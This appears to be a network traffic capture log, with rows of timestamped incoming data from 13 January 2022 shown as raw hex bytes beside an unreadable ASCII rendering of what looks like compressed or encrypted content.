2022-01-13 21:05:25 UTC 1442 IN Data Raw: 6b 37 84 e7 b7 1b 45 f0 8e 44 f0 ae 20 78 c7 13 88 dd 7f 92 40 6c c7 11 88 e7 38 56 fe d9 b3 f2 cd f8 a6 ab 49 
38 d4 5c 61 8d c2 2c 97 0f f6 ed ef d5 93 7d fb 28 7c f6 a4 f9 6a 89 f9 da f3 e6 ab f5 4f 9a af 7e 3d c6 7c 35 e3 cc 57 d3 9b 
af 83 28 fe ec 4b fc 39 10 fc d9 f7 f8 73 f0 4f e2 cf 7d 1c fe ec c7 31 70 fb 9e df d8 8e 2f cf ed 3d ba e5 d0 f6 33 e5 ad e5 f8 
2e 73 34 7e 53 94 ef 32 17 fd e8 2c 07 30 36 aa 1b 7e 63 88 7b 17 9d 00 01 6c a2 14 8b df 2c d3 89 e8 86 ee 2d 1c 46 75 
63 08 fd 3c 8a e2 ef a1 24 7f 47 42 fe 0e 3d f9 3b fa 27 c9 df 6b 1c f9 6b c7 d1 cf b6 a7 9f c7 f1 e5 ef 58 70 e8 44 0d a6 f1 
8e 0a de 45 b1 d9 2e 8a ed ed a2 d8 81 5d 94 26 a9 3f 21 5b 5e c1 9d 13 9b dd ba f8 7c 97 72 32 3d bc 39 09 7f c8 e7 0a 
ff ec fc fc 09 e5 ad ce 9f 4e a6 
Data Ascii: k7ED x@l8VI8\a,}(|jO~=|5W(K9sO}1p/=3.s4~S2,06~c{l,-Fuc<$GB=;'kkXpDE.]&?![^|r2=9N

2022-01-13 21:05:25 UTC 1443 IN Data Raw: c5 db ff 24 16 bf ae c9 e2 46 14 e1 75 89 f0 86 20 bc de 22 67 71 1b bf c2 6b b5 d1 d9 dc 9a 47 b4 ca 09 ab b2 
1b 85 e7 8e 84 e7 ae c0 73 c7 b3 2a bb ff a4 29 6a b4 7e b7 55 69 c6 d7 93 26 61 4f f3 57 f5 a4 15 35 d2 9e 34 0d 2d 31 
0d 7b 5c 4f 5a ff a4 49 68 ae a9 27 fb f1 59 bc 4f 48 df ff 15 16 ab 8d de 50 8f 82 50 8f 76 14 7a 07 d2 bc b4 c5 bc 1c 78 
ea d1 fe 27 cd cc fe 6f 57 8f c3 f8 73 77 48 d8 73 a8 4c c3 f9 60 3e 8c 98 06 9d 0e e5 6b 35 0b b4 0a 78 87 ba d8 c0 3d 8e 
42 f0 48 9a bd 63 31 7b 47 de ec 1d ff 93 66 ef f0 b7 cf de 97 28 e6 9c 48 cc f9 22 98 73 1a 7f c2 4f 5b 62 b3 ec a4 45 6e 
a4 3c 7f 57 10 49 76 cf 5a 3c a9 7e 26 f2 f9 f8 02 ef d6 1a 5b 5f eb 67 3d 2e c2 23 2b 9c 74 3c 6d a9 37 69 ba fc 26 cd af 
ad d8 69 f3 f0 fc c7 d9 7f 2e a5 f6 75 ed 
Data Ascii: $Fu "gqkGs*)j~Ui&aOW54-1{\OZIh'YOHPPvzx'oWswHsL`>k5x=BHc1{Gf(H"sO[bEn<WIvZ<~&[_g=.#+t<m7i&i.u

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1444 IN Data Raw: 08 62 a8 f3 88 01 5f f7 f0 dd bd 6c 93 3a fe ec 1e 0a 23 72 bc a2 51 b2 ef d8 0b 72 89 d3 91 64 7c 8e 45 bb a3 
7d 72 b9 ca f1 be 7c 9b 13 69 43 b7 5c a3 70 39 91 7a fc 22 7a 3c c1 e6 0c 15 e8 85 2d a7 f1 69 39 25 3d 9c fa 56 fd 88 
97 bd 31 4f 7d c0 11 77 d1 19 2a 6c d4 5d bd 64 4e 7d d0 51 b7 e9 6a fc 6e 93 b3 f8 94 9e 09 5e 7d 8d 6a 74 2e b1 f7 ab 
68 72 be 8f af 3a a7 2f aa c6 1f f2 42 b4 bf 8c df e8 92 34 ba 90 59 61 87 f9 96 d2 7b f3 64 97 35 fe 08 df c8 08 df 94 a8 2e 
ea a3 13 dc 75 bd 52 3d 0e f1 4a 3c ff ce ca f7 08 08 ef 1c ac 75 10 81 ec 47 69 06 ac 03 b1 51 8b 55 06 e1 23 17 c8 f6 b7 
f6 76 ee ac 03 fe da 6c 7d c8 3d 5a e4 1c ac c6 28 e7 bb 95 ad 13 85 95 b2 6f 2a f0 72 e3 37 72 45 a3 0b f3 c7 12 75 0f cc 
d4 c5 b5 5e 30 6e 4c 03 41 a1 98 a7 05 2d 
Data Ascii: b_l:#rQrd|E}r|iC\p9z"z<-i9%=V1O}w*l]dN}Qjn^}jt.hr:/B4Ya{d5.uR=J<uGiQU#vl}=Z(o*r7rEu^0nLA-

2022-01-13 21:05:25 UTC 1446 IN Data Raw: 9c f0 79 40 e7 99 fe 40 a9 28 e0 38 1d 39 a1 b7 d9 2c 7f 96 e5 c2 9b f3 f4 31 27 6a 73 42 7f 72 59 ce 03 a2 99 
79 5a 2a 88 92 2e 4a 86 28 e5 45 29 cb 4b 98 a7 ec 99 c6 4a 45 ae d5 50 cb 17 93 ac 50 9a 2c e7 3d 94 b8 29 2f 70 91 c8 
11 67 8a 0a 02 57 86 1c 71 02 a8 d8 71 7a 73 c4 9e d1 16 9a e0 10 a6 7c 83 3d e4 93 59 10 3e 4c 9e 1b 7f 58 8c 85 17 
c7 d9 01 a5 b2 28 f1 b6 a5 ac 21 4a 3a 77 1b b2 59 5e d2 f8 b3 72 c1 eb 4f f8 21 dc 3f 83 12 97 d4 72 81 d7 96 b9 87 0c 
0e a5 d7 73 41 8c 26 a6 5a 2c 26 9a 90 fc a2 58 7e 34 b1 ac 68 62 21 2a 09 e7 37 5b 36 44 49 e8 63 36 2b 9e 09 6b 52 
10 22 51 e6 6d 0d 0e 97 33 8a 39 51 12 cf 44 7f 59 61 ed b2 dc bf 00 2b c1 79 2a 4a 46 1e fb 80 25 0a c7 97 81 82 b0 17 
79 b1 dc e6 4b 7c b9 28 68 9e b5 e3 13 cc 8d 67 8e ac 3e d4 
Data Ascii: y@@(89,1'jsBrYyZ*.J(E)KJEPP,=)/pgWqqzs|=Y>LX(!J:wY^rO!?rsA&Z,&X~4hb!*7[6DIc6+kR"Qm39QDYa
+y*JF%yK|(hg>

2022-01-13 21:05:25 UTC 1447 IN Data Raw: d1 52 d1 b3 8a dc 8a 69 dc e5 80 52 51 94 4a a2 24 ec 7c d6 33 08 62 82 f9 9a 63 94 f8 9a 53 d0 78 4a 35 9f 
15 66 25 cb 8c 0e dd c7 ec a9 7b ab e4 b4 d3 d8 1a b9 b3 7b cb 71 ff 32 ad 2a 79 d2 37 6d 5a 70 26 e3 d9 7c ba 70 e6 93 
69 e6 68 f8 f3 67 2a e4 a9 f9 63 99 0e 83 be 26 cf e6 93 b3 f9 74 30 ee a5 d2 37 e4 13 b4 cb 6a ef 40 da c8 7e 0c 3b bc 
a0 34 54 9a f0 8a c0 a9 ad 1e c7 af 67 26 bb 8f 56 25 b9 45 89 11 1f b7 a5 95 ec 8b 75 2a 2b 60 0c c7 1a 0e f9 7e b0 4d df
68 3d 40 bd 03 f6 4a ab bf 01 72 d2 3f 06 dd 94 93 e6 2f a3 76 cc 6c b5 23 0e f0 55 3b 5b 5b 8c 2b b7 12 57 7f fe c4 bb cb 
55 86 25 79 71 72 59 1d bc 45 9d 8c fe 2d 45 ff f6 80 be 02 79 90 4a de 5f d8 cf db 4e 92 62 79 17 b6 d7 fe 63 89 1c fc 4f 
c7 bc be 41 2e fe a7 eb 41 3d 10 3a 3e 38 d7 0f 
Data Ascii: RiRQJ$|3bcSxJ5f%{{q2*y7mZp&|pihg*c&t07j@~;4Tg&V%Eu*+`~Mh=@Jr?/vl#U;[[+WU%yqrYE-EyJ_NbycO
A.A=:>8

2022-01-13 21:05:25 UTC 1448 IN Data Raw: 7e 60 b2 de e1 39 66 e0 c8 bd 41 b6 d9 bd 26 7f 7c f3 74 f6 fa d9 c6 22 56 e9 d5 40 6b 08 1b 01 d8 b4 c9 1c 41 
69 73 13 64 cf 7e 43 f6 1e 32 76 3b 35 ba 7e c5 0d b8 dc 6d 1f 10 75 c6 9d 20 17 1e 12 11 c7 84 74 b1 d2 52 c2 50 08 51 
50 3d ed 54 ba 99 69 07 9d 76 e1 ef 69 d7 47 1c ae 10 c4 e1 5a a0 0f 3f c3 3e 17 15 85 30 ad 13 8f f6 a8 1e 1f 9b 1b af 78 
84 57 bc 50 f5 f0 b4 f6 ae 8f 89 75 7d b5 3c bb de b2 c1 dd 6c d9 7f bc f2 5b 7c aa 5b 5b 2d 3b 4d a0 ae 5b a0 9a 53 8b dc 
e5 cd 7e 75 4c 13 ba bf b2 
Data Ascii: ~`9fA&|t"V@kAisd~C2v;5~mu tRPQP=TiviGZ?>0xWPu}<l[|[[-;M[S~uL

2022-01-13 21:05:25 UTC 1448 IN Data Raw: a1 16 01 18 7d 51 65 99 35 cd 57 ef 16 a0 8e 3b 74 e7 58 d5 f1 78 4b 60 55 97 a8 28 a1 c0 74 51 6a 8a f1 a1 
3f d3 e0 00 89 1f e6 14 8c 5e 9a 10 bc b9 59 c7 ac c5 d4 03 05 f8 09 b1 0f 6e 5c fb d0 c3 f6 01 d3 8e 5b 32 0c a6 54 a8 7f 
4c ad 8a 85 3a 15 77 29 d9 75 54 57 2d 34 ea 80 17 e8 93 8a 34 fb a8 cf a3 ec a4 60 05 a3 7f 15 95 a1 3d bb 99 e1 c4 ea 
a4 3a f8 6e f6 74 f5 23 ee ef 19 08 de 19 21 8b 0c 81 df ad 8f 33 32 75 c1 24 dd 72 92 b0 88 84 f7 ba 01 dd 56 bf f3 87 bd 
5b 31 54 f5 ce 94 5d 94 ea 1d 54 86 be 48 24 79 29 d2 3a 8b 4d 0b f5 d9 ae ad 1b be 80 89 07 58 bf f0 a8 1d 18 95 fa 7b 
b7 48 44 40 82 1f 1d bc 98 7f b0 fd 6b f6 e1 a4 b3 18 ba de 42 9c b0 17 73 b1 6a c3 0a dd 65 6b 3a f5 86 fc 9e 50 e2 69 
30 ef 27 c0 9a 26 1c ea 7a cc f0 32 ee 39 44 0d aa 
Data Ascii: }Qe5W;tXxK`U(tQj?^Yn\[2TL:w)uTW-44`=:nt#!32u$rV[1T]TH$y):MX{HD@kBsjek:Pi0'&z29D

2022-01-13 21:05:25 UTC 1450 IN Data Raw: b5 f4 d1 2f db d4 b3 27 2b 1d 5e e7 f0 e5 3c 38 0f 83 83 74 b1 36 5a 78 9f e3 ce bc f2 07 0e ed 10 57 b5 69 5a 
e4 bd db b0 6f fd 52 00 e2 a3 7e eb a9 31 07 61 e5 07 92 0b 4d d9 26 49 dc 8e ac e7 14 0d 1c 18 bf 2d ce 7f 9b bc 96 be 
72 57 a3 41 de 7f 0e 7b 6d 92 b6 a7 7c f8 7e a0 ba 88 84 09 9f b4 0f 26 b9 eb 93 ae 95 f0 ac 9a e4 70 49 90 38 4c 3c b8 cf
76 e6 f8 73 ca 32 8f 86 44 ed db 43 84 db 80 7b 74 8c f9 56 09 6f 31 b2 f0 35 27 23 2b 85 37 2a 7c 73 d6 5a 39 69 43 05 
72 2f 0c f2 23 5f e5 e5 6d ae ab 78 1b 41 c9 eb e3 7b 97 d9 d6 41 a7 92 60 86 fb 0c c2 2c f1 63 b8 95 44 89 47 77 3a 03 
20 f1 b0 8f 97 82 65 95 77 98 b8 3c 10 7d 5e df 90 8d 91 6f 07 66 16 59 6d 79 4c 9f 9d 07 51 80 a8 a5 4d 2c b1 d5 96 45 
98 99 fe a4 87 5a df 9a 25 ac 21 b8 22 9d 97 84 ed 
Data Ascii: /'+^<8t6ZxWiZoR~1aM&I-rWA{m|~&pI8L<vs2DC{tVo15'#+7*|sZ9iCr/#_mxA{A`,cDGw: ew<}^ofYmyLQM,EZ%!"

2022-01-13 21:05:25 UTC 1451 IN Data Raw: 3f 6a ca ec cd 7e 7a a2 1f 8c f6 a4 6d 6a e8 1e ff f3 e0 27 20 98 39 ed d3 0d 6d 77 5e e5 27 a0 f1 f7 70 60 9d 
e6 69 1b 58 ea da 38 b5 f9 20 e3 37 1b f4 c6 56 d8 b5 a1 53 76 8f d8 07 7e 91 d8 ac 1d e6 ef 4c b1 14 12 f6 f9 ba bd 0c bf 
c0 6b 0e e2 43 47 ac 2c da 3c 33 8f 3a d6 dc aa d8 62 31 7a 0c 0a af e3 e5 8e 9d cf 9e 45 10 fd ba cb 8a c3 2c c8 82 28 
89 38 86 7b 59 09 01 b7 32 97 78 cf 1f 9e 80 eb b3 44 53 d5 72 50 bf ec a9 4d af ed ed 67 c0 2b a7 c5 f3 94 2d 9d d1 44 
8b 40 c3 cc e4 e7 cf 14 fc 6b 3e 53 34 b6 92 9f 92 5b f7 6d 7c 10 dc 6b f6 ac 36 f3 12 b6 38 3b 79 4c d6 91 0c 98 92 e9 c0 
9d e1 fc 66 3a d3 1d 8c 3b 3e 79 71 4c fc a7 ea f0 f3 49 42 7e e8 6f 7a 02 c9 34 81 ab 69 ba a3 f7 f3 67 b2 76 74 7c 74 75 
78 fc f5 2c 59 49 1e 5f 1e ed 9c b6 77 ce ce 
Data Ascii: ?j~zmj' 9mw^'p`iX8 7VSv~LkCG,<3:b1zE,(8{Y2xDSrPMg+-D@k>S4[m|k68;yLf:;>yqLIB~oz4igvt|tux,YI_w

2022-01-13 21:05:25 UTC 1452 IN Data Raw: 47 9f d5 dd 9f 9f 46 95 2b 6b a7 66 31 6b 7b d7 ba 66 c7 f4 33 82 6d 8e 0a b5 ce b8 3b 99 e2 9b c1 60 58 d8 85
a3 36 e8 42 95 6f a3 8a 75 bc df d8 6e 1c 1f 6f 9f b7 9a bb 16 59 0d 4e 6d cb 02 12 f1 6e f1 bb 2f d8 ce 1b cc bc f1 63 61 
3f f2 c7 f4 d0 40 a9 76 61 7b 34 ee f6 e0 f9 b1 70 3c 1b 44 f0 4f ef b1 b0 3d 8b 67 93 29 90 d7 a3 69 d4 f7 e1 36 6e 05 d3 
21 fe 6d 0e ef 79 c1 6e 14 d0 83 1a a4 00 a3 3c dd fd 7f 31 ca 03 1f 05 47 c0 ce b1 6b d9 31 f6 8b dd 62 9f d8 1b f6 84 9d 
18 ed 6b ff c3 f6 97 d0 fe 7c 36 08 a1 49 63 48 7f 2e 66 d1 04 ff 5e 46 e1 80 3f 5d 74 66 63 7a d8 1f 77 f1 cf b9 07 30 00 0f 
46 47 4b 7b ff a9 9e 1e 79 47 d8 0b 76 81 cd b1 21 b6 c1 06 46 dd dd 7f 50 77 b4 07 75 1b 17 97 17 fb e7 3a 34 ed dc e5 
16 ff b8 03 f8 3d 2d 03 d0 9e ae e1 3f 
Data Ascii: GF+kf1k{f3m;`X6BounoYNmn/ca?@va{4p<DO=g)i6n!myn<1Gk1bk|6IcH.f^F?]tfczw0FGK{yGv!FPwu:4=-?

2022-01-13 21:05:25 UTC 1454 IN Data Raw: 69 c3 71 69 7f 10 30 a8 8e 4c 5b 06 21 11 2e 33 ed eb 22 42 66 b5 ec ea 25 b0 41 5b 92 41 13 09 bf 62 a0 fd 
e1 26 46 43 e8 4a 20 c3 96 24 1e 88 0a 93 71 b1 4b d0 c8 a0 33 61 12 8c 6a 07 5c bd e7 67 c0 0b b0 df ea 8e f6 8a 5f ef 
f4 18 0f 57 d7 8c bb 9d f9 ba 4b 9e 38 d5 7e 31 e8 78 e3 da 30 8c b6 49 be 2a 66 b4 f1 fe 83 1b bd 7a b5 f9 ee 23 9c 66 
3e 60 b1 0d 5c 79 4d 54 b6 71 90 95 68 75 e3 3d 30 73 d4 05 35 87 3b d1 d5 3e 21 b9 1b be 91 40 22 6c a4 09 80 65 3b 
01 6e f2 66 8e a6 e7 11 70 a6 a1 fc 25 10 ad f3 4b 58 ee 50 40 8d c2 14 36 b1 60 c3 e9 f0 3d 1f f8 00 af 10 0f 87 31 0a 7c 
a2 22 ee b4 53 2c 7c 06 76 1f 1f 51 2d 6b be 44 00 60 14 3e 02 65 c6 0a 63 a0 cb e8 70 36 e5 5d b7 bb 51 2f e4 4e a3 cc 
6f e4 50 58 4c 01 86 5a 6e 95 3f 50 ac 53 c9 11 a2 14 eb 
Data Ascii: iqi0L[!.3"Bf%A[Ab&FCJ $qK3aj\g_WK8~1x0I*fz#f>`\yMTqhu=0s5;>!@"le;nfp%KXP@6`=1|"S,|vQ-kD`
>ecp6]Q/NoPXLZn?PS

2022-01-13 21:05:25 UTC 1455 IN Data Raw: 4f ab d0 57 00 73 f7 26 c3 41 55 da af 86 91 3f 8b 8f 06 ed 21 86 f4 80 b5 2a b8 50 6b 1b 6e 9f e4 0d b3 fe 35 
b0 d8 06 50 bc 14 aa a2 04 48 47 2c 0d 76 a9 47 1b 72 d8 01 9a 34 60 94 29 be ec 2b 52 fe c7 0a 24 2e 52 2a 56 09 a7 
9e 8d 06 8f 25 15 24 43 70 b4 50 5a b1 3e 0f 6e 07 c3 87 81 c5 61 73 d4 c8 48 e0 30 5c e6 9c dd a5 f9 70 0f fd 96 9f 9f 7f 
ce 53 d6 66 e3 3c e8 36 0d c9 6a 09 9a 31 f1 4f 1f 83 be 96 a4 6b 42 08 bc 04 f4 de 30 2c d7 4b 66 01 c0 88 1e 93 52 06 
18 92 fd f2 71 e5 b9 29 09 73 cd d4 5d 01 d5 15 d7 01 b7 32 da 14 fc e9 15 87 64 57 92 79 b3 82 86 07 5b 1a 5d 01 3f ff 
b4 8d c0 9c ab c5 4d e7 cf b5 3f 29 06 68 89 a2 6b 74 56 56 f8 d0 b3 fc e5 d5 cd f0 a6 0d 3c cd b3 06 1b 35 d0 63 6a 66 
22 bc 17 fc 9e 3f fc 97 e6 de 8c 82 01 6b 45 84 b6 7a 
Data Ascii: OWs&AU?!*Pkn5PHG,vGr4`)+R$.R*V%$CpPZ>nasH0\pSf<6j1OkB0,KfRq)s]2dWy[]?M?)hktVV<5cjf"?kEz

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1456 IN Data Raw: 44 46 26 30 e4 7c 8e 1f 82 e6 3e b6 1f a7 b7 30 69 32 0b f8 22 17 2d 87 a5 0e e5 2e 0f 9b 56 c9 00 10 2a 9c fd 
62 0c ff 38 b8 f0 87 6a 65 85 f1 c0 41 1a c3 48 87 eb 1b b2 20 f7 13 81 56 40 94 f9 4d 91 87 a5 a1 37 80 a8 6c 0a 47 7d 
b8 a8 97 4e 7e 2f 9d bc 5e 52 40 31 cb b1 57 31 9d ae bf 4e 9c 7f 00 2b 3e 30 50 2c 84 3f 9c af 62 11 20 7f b2 2f e4 f7 c3 
df c3 f1 df ed 31 46 7c 1e 84 96 4b b5 95 67 83 af 3c 1b 56 cb 15 fa 5b aa 08 9f 05 00 05 32 75 1b 0d c7 d3 bf 67 03 ef 1e 
0e ba e7 f7 22 ab 1a e6 41 cf 7b 6c 90 3d 35 f9 95 37 4a 25 ac ee 7b e1 df e2 00 53 45 03 f4 44 c5 32 56 84 e1 67 d3 ce 
70 dc 7d 12 5d e6 d5 5c c3 9a 40 75 a0 ab 0d 75 db 1d bf 50 7b 9d 60 7d 38 f6 bb 61 18 0d 16 54 2b 8b 4e c7 c3 00 f8 2f 
c4 4e fa db 4d fe 15 dd 01 5a 4a 78 bd bf 31 3e 
Data Ascii: DF&0|>0i2"-.V*b8jeAH V@M7lG}N~/^R@1W1N+>0P,?b /1F|Kg<V[2ug"A{l=57J%{SED2Vgp}]\@uuP{`}8aT
+N/NMZJx1>

2022-01-13 21:05:25 UTC 1457 IN Data Raw: 00 56 99 68 7f 21 1c c7 9c 04 18 21 4f 83 a4 e6 22 c3 5c 80 62 23 8d a7 20 28 a4 74 a8 cd cd 5c 4e 1f a4 04 
29 eb 7a 7a 2c 04 28 86 eb 69 b3 c1 8e 1a 4e b5 f9 cf ef a6 65 b4 16 03 78 68 09 c2 31 31 ac 59 74 d1 e5 7d 00 ef ed d5 
ab 4e f1 de db ea 70 99 05 3f df 5c 2a 6d 5c a1 e4 5e 9a 66 e9 64 44 86 1b a4 d2 f2 a3 5d 87 de a2 37 ad 84 0b 43 20 e1 
8b 58 ef 55 cf c9 21 9c 3a 45 79 41 0b dd 9f e1 0a 37 96 c9 74 09 cb eb 3f 07 ae 5e bd aa 37 48 49 72 92 f0 87 a6 16 fe 
24 fd 81 b6 ef c2 ff 2f fe 32 35 75 2e 26 c2 00 88 8d 1e 5b 27 10 7c 20 e7 61 8c 80 d5 7c 09 0b 02 08 9b 58 32 95 32 16 0f 
8f 8e 11 27 bb a4 a4 ca 3d 37 02 f2 ef 76 d9 5a 92 c3 0d 63 3f 96 31 0b 81 f9 ad a7 8d 94 9c 72 61 1c d2 53 4e 60 9e ea 
b3 1c b5 33 58 17 f1 90 18 c2 90 7a 8e da 69 e0 93 98 
Data Ascii: Vh!!O"\b# (t\N)zz,(iNexh11Yt}Np?\*m\^fdD]7C XU!:EyA7t?^7HIr$/25u.&['| a|X22'=7vZc?1raSN`3Xzi

2022-01-13 21:05:25 UTC 1459 IN Data Raw: f7 33 8a 60 be a4 cc 68 94 d7 48 d4 94 92 a9 a0 29 1d 61 02 a2 a5 23 cc 04 51 45 b8 da d0 b8 6d c1 4a b5 9b 
46 48 ae b8 99 42 13 f5 fa af f8 98 60 d8 eb 45 01 e7 60 3c d2 f1 16 55 d2 23 9e bd 68 38 b6 54 5c 5e 4f 2a 2a 94 69 29 
5a d7 4d ed b8 c9 ea 22 23 50 27 3d 87 76 b3 d8 f1 30 5e 06 c6 93 a5 e9 c6 4d f3 90 4b df 0b 0c 61 dc ca c3 69 ca d9 bc 
83 68 80 41 8f 3c 50 98 66 d0 09 65 22 07 2d eb 36 f3 60 1b 88 12 3b dd 75 12 3f 0f d7 1f f0 8c 08 be de d4 f0 b8 c8 f3 94 
17 eb ac 6f 4b 37 6f 0a f6 4d a1 4d 12 4f 22 12 4f 6c 49 79 a5 88 64 c7 a4 bb 7d ac b8 e4 73 91 56 b2 2f 24 a0 95 9b 66 
c2 83 63 a0 74 7d 36 46 f6 2d e9 32 4f 0c de ca e6 07 a3 e3 aa 73 db 4c 32 59 e2 49 21 cb 4f 8f 41 4d 74 3b 5b 71 37 ab 
e9 c9 ac 7a 5b 37 46 23 cc 56 5b c9 ef 27 1b c6 56 dc 
Data Ascii: 3`hH)a#QEmJFHB`E`<U#h8T\^O**i)ZM"#P'=v0^MKaihA<Pfe"-6`;u?oK7oMMO"OlIyd}sV/$fct}6F-2OsL2Y
I!OAMt;[q7z[7F#V['V

2022-01-13 21:05:25 UTC 1460 IN Data Raw: b6 b8 91 3e 16 97 9c 24 b9 d4 17 98 a7 71 81 57 e2 37 52 87 ca 05 2c 0c a4 1b c4 30 71 e2 1a f8 ea 7d c7 5d 
5d 93 da 6e e9 84 31 d3 9c 3a c8 94 d9 85 bb 58 64 89 0f 28 79 bb 7b 8c 79 a7 aa e3 66 b1 e5 ab 2c db c9 a0 b7 81 7b 
17 e8 3e 67 a6 0e bd 2e ec 45 76 95 12 5d cc 70 50 c3 3b 3f ca 7f bb ab 41 9b 30 b3 ab d9 31 8f e5 5e 5d d2 e2 b6 3f 36 
a1 58 10 cb 8c 57 60 57 d7 cc 0a 3d 0b f5 cf 53 fb 89 df 2a 4f 3a 23 f8 52 42 e5 64 43 0b ff 65 24 54 66 7a 86 65 4a aa 8c 
83 2d ca ac 4c 96 55 e9 fb d1 9c b7 af e6 0d 13 f6 c4 94 d9 8e c9 80 e3 66 a0 01 04 6d 0d a1 47 b1 49 6d cf 62 1e c0 15 
72 ca 97 81 b8 dd 6c 2c 81 e2 01 26 84 3a 21 53 6c e3 c3 a1 ed d8 f4 22 81 f6 b5 a6 12 9e f2 d1 12 58 78 f5 6a a7 29 36 
13 15 a5 30 e6 b2 f6 d6 91 df a3 12 ae 8b b9 c5 00 40 bb 
Data Ascii: >$qW7R,0q}]]n1:Xd(y{yf,{>g.Ev]pP;?A01^]?6XW`W=S*O:#RBdCe$TfzeJ-LUfmGImbrl,&:!Sl"Xxj)60@

2022-01-13 21:05:25 UTC 1461 IN Data Raw: c3 ce 10 21 a3 2c 17 e5 cb 91 f4 77 80 23 18 28 cb e9 b6 a3 c9 81 e1 63 ce 39 0e 8f d1 cd 3c f3 b1 89 4a a9 
23 bf 39 26 49 31 1c eb 91 27 15 9b 76 86 9c 3b ce de af cb 52 b9 d7 ca 5e 4c 09 45 e1 15 4f 43 91 d2 cc 2b fe f0 e8 f2 c1 
b4 5d 0b 78 48 83 2c bf 68 6e dd 48 7a fc 87 87 e4 78 45 fc 46 11 5a 33 43 d2 eb d4 3b 26 93 4a b8 2c c0 42 17 4d d5 f2 
73 be 9e 04 5e d3 b5 48 43 f1 14 c4 01 d9 ac 05 c5 1b c4 86 f4 db e7 bf a4 3c 3a a0 d0 9f 73 56 cf bb 7c 94 57 47 72 21 bf 
04 62 42 75 41 e8 f3 0b df 44 14 a6 a1 9e 27 e6 7c 15 57 be a3 66 c5 54 67 66 76 cf 40 b3 ec cb 6f c8 93 52 70 5d 89 38 
b8 47 1c 42 51 67 f2 fc ac d5 59 e2 60 2e 40 5a ea 47 35 47 d3 2c fc 93 fa 94 4e 0b 89 29 c9 91 55 a9 df 0d 98 c6 4b 9e 
88 de c5 80 ad c3 6e ea 1a 19 07 bf f2 b7 4c 78 e0 
Data Ascii: !,w#(c9<J#9&I1'v;R^LEOC+]xH,hnHzxEFZ3C;&J,BMs^HC<:sV|WGr!bBuAD'|WfTgfv@oRp]8GBQgY`.@ZG5G
,N)UKnLx

2022-01-13 21:05:25 UTC 1462 IN Data Raw: e0 ba e1 85 ed cc 4d 03 24 dd 8a 1a 8d 69 40 d7 50 7d 5d 61 67 26 bc 89 0e af b0 c7 3c 48 e4 ef c2 f4 05 81 
11 22 31 6b af 54 0a b3 9f e7 41 a5 cd 76 82 4a c4 64 43 8c ae ea 09 4f c6 11 7a 43 b4 11 93 c2 ce a7 0f 92 87 2a 69 5f 
00 8c 79 b2 3f f9 79 f2 7c 4e f4 63 ec cf 14 53 ed 55 12 69 ad 0c f1 93 7b 9b 54 4d 53 14 df d9 82 19 54 e0 bf 54 87 1d c1 
95 17 63 a7 22 9f 15 32 25 38 9f b3 6f 59 42 dc ea 7a 14 f8 2c 51 02 93 ca 52 e9 82 bb 28 3d 17 e8 43 23 72 13 e2 5b 20 
3c b2 ba 96 46 91 6a d1 eb 1e fb d9 f0 2b 3e e3 91 71 31 cf 5e 7a dd 7e 78 79 eb e6 61 14 69 3a de e6 a1 e4 74 89 34 cd 
ea 86 ee ca 4a d8 9a b3 c7 3c d6 3f 6a e5 38 e9 75 a4 11 c6 b7 48 1a a3 d5 db dc fa ec b1 c9 a2 16 9c a3 c7 df d5 e7 9f 
98 04 8f a6 c3 ef 86 08 ed 69 dc 1d 67 c9 30 31 95 2c 
Data Ascii: M$i@P}]ag&<H"1kTAvJdCOzC*i_y?y|NcSUi{TMSTTc"2%8oYBz,QR(=C#r[ <Fj+>q1^z~xyai:t4J<?j8uHig01,

2022-01-13 21:05:25 UTC 1464 IN Data Raw: a1 30 bf 6b 2d 62 1d 97 dd 5b 9c 8a 35 e1 87 1a 25 c2 f5 2d f8 af 82 4a 4c ed d6 43 e1 e6 63 34 95 b6 af ac 30 
19 16 02 1e ac 4d 61 8a 14 64 e7 4a c7 e1 7e 47 1d ac 21 e9 bb 24 0f fa 57 af 2c 8b 07 66 f6 a5 6f 6a 9f 0b 87 e5 41 f3 f1 
c7 67 f5 03 80 79 eb 8e 23 25 a7 92 92 cb 1b 18 3b 35 af 5e 90 9d 57 35 3f 9e 97 31 cd 90 cc 95 53 45 14 19 d7 4f 7f 91 
f2 a9 d4 b3 0f 9a 3b f6 7f 2b 6c 14 e1 5a 80 90 72 05 a1 a0 08 06 a5 98 15 05 c4 a3 24 97 48 39 1b ff a5 d3 72 c6 4a 02 
c9 9d 2a 27 f2 37 30 8d f0 4f bd 4d ad a8 c7 63 41 a4 91 fd 59 fc 41 84 52 d4 55 46 64 9a 83 60 5d 2e 95 44 1e f2 55 8a f0 
2b 8a 61 77 d5 35 32 e5 10 a7 8b 3d 8f 84 8c 5c f2 bb c4 f2 14 fc a8 37 7c c0 64 d7 c4 9d a1 70 dd 10 5c 16 ec 84 5d 75 
d4 75 35 f7 65 9a 83 76 77 10 e6 79 99 85 f8 09 
Data Ascii: 0k-b[5%-JLCc40MadJ~G!$W,fojAgy#%;5^W5?1SEO;+lZr$H9rJ*'70OMcAYARUFd`].DU+aw52=\7|dp\]uu5evwy

2022-01-13 21:05:25 UTC 1465 IN Data Raw: 52 16 07 44 e3 00 bd 42 19 42 80 c5 f9 08 bf 56 89 57 50 96 04 bc 8a e0 20 44 44 be 79 55 74 97 67 a8 cd 55 
f3 64 61 00 18 22 bc ea 5f 23 dd db 77 85 69 41 5f 78 b4 25 c1 e3 fb 8e b0 35 f8 49 18 89 bb df f3 8b b9 d2 21 0d 13 eb 77
e1 ea 05 da bd 62 51 95 bf fb 3c 06 8e 35 d7 02 e7 dc b9 7d 25 21 ef 1b 6c 87 ee 0a b2 35 6d e9 a6 41 7d 6e 1a c4 b4 a2 
8e b0 16 aa 2c 59 7f 5b 42 b6 77 a7 ec 6e c4 1c 79 bb 45 b3 bc 9b c3 01 72 f2 0c 20 3a ac ef fc 0c 69 11 cc 0e 3b 46 87 
b4 04 c9 47 8b d4 3e c9 57 c3 ff 71 52 40 f9 5f 88 93 77 16 79 d2 3c 47 e0 7d 12 9c ca eb 0e 68 c0 e9 eb 09 11 77 13 af 0f 
57 85 06 3b da a5 20 62 da e8 fa 53 4a 28 e5 15 fd b0 f8 cd 2e bf 5f 7b c7 7e 7e f7 81 36 bd 0b 81 25 03 32 16 c9 19 39 5f 
b9 29 12 5e d3 4c b0 31 23 94 b7 0c a2 07 49 9f 
